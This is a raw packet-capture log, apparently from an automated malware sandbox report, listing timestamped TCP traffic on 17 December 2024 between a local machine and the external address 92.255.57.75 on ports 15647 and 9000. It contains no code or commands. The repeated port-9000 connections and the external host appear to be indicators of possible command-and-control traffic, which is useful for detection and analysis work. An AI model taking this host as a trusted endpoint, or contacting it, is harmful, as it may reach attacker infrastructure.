Dec 17, 2024 08:38:49.365304947 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:49.386816025 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:49.397418976 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:49.506666899 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:49.506731033 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:49.511989117 CET	9000	49789	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:49.512072086 CET	9000	49789	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:49.512253046 CET	49789	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:49.514585972 CET	49789	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:49.589083910 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:49.622306108 CET	49794	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:49.626558065 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:49.626687050 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:49.634365082 CET	9000	49789	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:49.698594093 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:49.742227077 CET	9000	49794	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:49.742367029 CET	49794	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:49.742484093 CET	49794	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:49.746674061 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:49.746774912 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:49.847155094 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:49.862133026 CET	9000	49794	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:49.866509914 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:49.938658953 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:49.967118025 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:49.967199087 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:49.967282057 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:50.058595896 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:50.059710979 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:50.087023973 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:50.159683943 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:50.179544926 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:50.179625988 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:50.278918028 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:50.279001951 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:50.299454927 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:50.371608973 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:50.398734093 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:50.398852110 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:50.491683006 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:50.518647909 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:50.518712044 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:50.638386965 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:50.638458014 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:50.710691929 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:50.758243084 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:50.821427107 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:50.830653906 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:50.832813025 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:50.950453043 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:50.952497005 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:50.979041100 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:51.066960096 CET	9000	49794	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:51.066988945 CET	9000	49794	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:51.067121983 CET	49794	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:51.067713022 CET	49794	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:51.081353903 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:51.098879099 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:51.135487080 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:51.186281919 CET	49799	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:51.187438965 CET	9000	49794	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:51.219244957 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:51.291054964 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:51.306263924 CET	9000	49799	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:51.306421995 CET	49799	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:51.306651115 CET	49799	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:51.339118958 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:51.339190960 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:51.426336050 CET	9000	49799	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:51.459018946 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:51.459093094 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:51.529611111 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:51.579056978 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:51.579123974 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:51.698961973 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:51.699048996 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:51.721354961 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:51.821650982 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:51.861469984 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:51.863711119 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:51.891115904 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:51.891181946 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:51.913369894 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:51.983413935 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.010992050 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.011039972 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:52.084786892 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.130800009 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.130862951 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:52.175828934 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.301651001 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.301734924 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:52.322892904 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.421534061 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.421684027 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:52.443397045 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.585551977 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.585612059 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:52.613950014 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.614063978 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:52.632039070 CET	9000	49799	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.632106066 CET	9000	49799	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.632250071 CET	49799	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:52.637974977 CET	49799	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:52.705593109 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.705645084 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:52.733685017 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.743932009 CET	49802	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:52.757911921 CET	9000	49799	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.790106058 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.805604935 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.806193113 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:52.825663090 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.825704098 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:52.863873959 CET	9000	49802	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.864017010 CET	49802	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:52.864063025 CET	49802	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:52.925745964 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.925854921 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:52.947046995 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:52.983880043 CET	9000	49802	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:53.046128988 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:53.046197891 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:53.138072014 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:53.166626930 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:53.166696072 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:53.237925053 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:53.288389921 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:53.288460016 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:53.358598948 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:53.358690023 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:53.409513950 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:53.473726988 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:53.480175018 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:53.482018948 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:53.550348997 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:53.601779938 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:53.633945942 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:53.643556118 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:53.666054010 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:53.763298988 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:53.785824060 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:53.786026001 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:53.794382095 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:53.955385923 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:53.955493927 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:54.106627941 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:54.106764078 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:54.147406101 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:54.147497892 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:54.191493034 CET	9000	49802	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:54.191549063 CET	9000	49802	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:54.191628933 CET	49802	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:54.191745996 CET	49802	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:54.267234087 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:54.267466068 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:54.267555952 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:54.308209896 CET	49808	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:54.311407089 CET	9000	49802	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:54.418601990 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:54.418704987 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:54.427956104 CET	9000	49808	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:54.428042889 CET	49808	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:54.428206921 CET	49808	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:54.547982931 CET	9000	49808	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:54.579482079 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:54.579562902 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:54.730546951 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:54.730622053 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:54.891571999 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:54.892725945 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:54.922507048 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:54.923018932 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:55.042687893 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:55.042782068 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:55.101629972 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:55.162640095 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:55.162717104 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:55.204694986 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:55.282531977 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:55.282593012 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:55.354839087 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:55.403790951 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:55.403861046 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:55.454121113 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:55.508934021 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:55.523622036 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:55.523688078 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:55.594449043 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:55.595035076 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:55.643564939 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:55.714735985 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:55.715687037 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:55.717025042 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:55.758583069 CET	9000	49808	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:55.758675098 CET	9000	49808	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:55.758821964 CET	49808	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:55.758923054 CET	49808	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:55.835850000 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:55.835935116 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:55.869326115 CET	49813	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:55.877506018 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:55.878627062 CET	9000	49808	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:55.955902100 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:55.956183910 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:55.989295959 CET	9000	49813	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:55.989413977 CET	49813	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:55.989619017 CET	49813	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:56.027787924 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:56.071455002 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:56.075999022 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:56.076411963 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:56.109328985 CET	9000	49813	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:56.148001909 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:56.196192980 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:56.196281910 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:56.265489101 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:56.316140890 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:56.321475983 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:56.339935064 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:56.384687901 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:56.457443953 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:56.510056019 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:56.543086052 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:56.649286985 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:56.696435928 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:56.705539942 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:56.705605030 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:56.825447083 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:56.825520039 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:56.841270924 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:56.841387033 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:56.989523888 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:56.989579916 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:57.017576933 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.071427107 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:57.109632969 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.109714031 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:57.209352016 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.209495068 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:57.229530096 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.301743031 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.301831961 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:57.318975925 CET	9000	49813	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.319139957 CET	9000	49813	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.319195986 CET	49813	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:57.319228888 CET	49813	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:57.329210997 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.421633005 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.421684980 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:57.435209990 CET	49817	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:57.438915968 CET	9000	49813	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.521204948 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.521321058 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:57.541507006 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.555066109 CET	9000	49817	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.555150986 CET	49817	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:57.555270910 CET	49817	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:57.613715887 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.613842964 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:57.641061068 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.675014019 CET	9000	49817	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.733573914 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.733700991 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.740248919 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:57.833053112 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.860024929 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.860089064 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:57.982352972 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:57.982426882 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:58.052316904 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:58.102317095 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:58.102535963 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:58.174635887 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:58.222781897 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:58.222908974 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:58.342690945 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:58.342750072 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:58.366601944 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:58.415172100 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:58.505645037 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:58.505724907 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:58.534868956 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:58.534962893 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:58.558480978 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:58.602679014 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:58.625550985 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:58.654882908 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:58.658730030 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:58.726672888 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:58.774573088 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:58.778554916 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:58.791069984 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:58.817779064 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:58.868321896 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:58.880841017 CET	9000	49817	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:58.881010056 CET	9000	49817	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:58.881098986 CET	49817	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:58.881187916 CET	49817	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:58.965553999 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:58.967670918 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:58.970669985 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:59.001024008 CET	9000	49817	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:59.020401955 CET	49821	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:59.024554014 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:59.087424040 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:59.087752104 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:59.103492022 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:59.140239954 CET	9000	49821	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:59.141767979 CET	49821	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:59.144989967 CET	49821	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:59.149564981 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:59.249542952 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:59.264725924 CET	9000	49821	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:59.272458076 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:59.279652119 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:59.279736996 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:59.392314911 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:59.392436028 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:59.399666071 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:59.446429968 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:59.471574068 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:59.524553061 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:59.553462982 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:59.553560019 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:59.584405899 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:59.633928061 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:59.673408985 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:59.673702955 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:59.793430090 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:59.793488026 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:59.821717978 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:59.868352890 CET	49781	15647	192.168.2.5	92.255.57.75
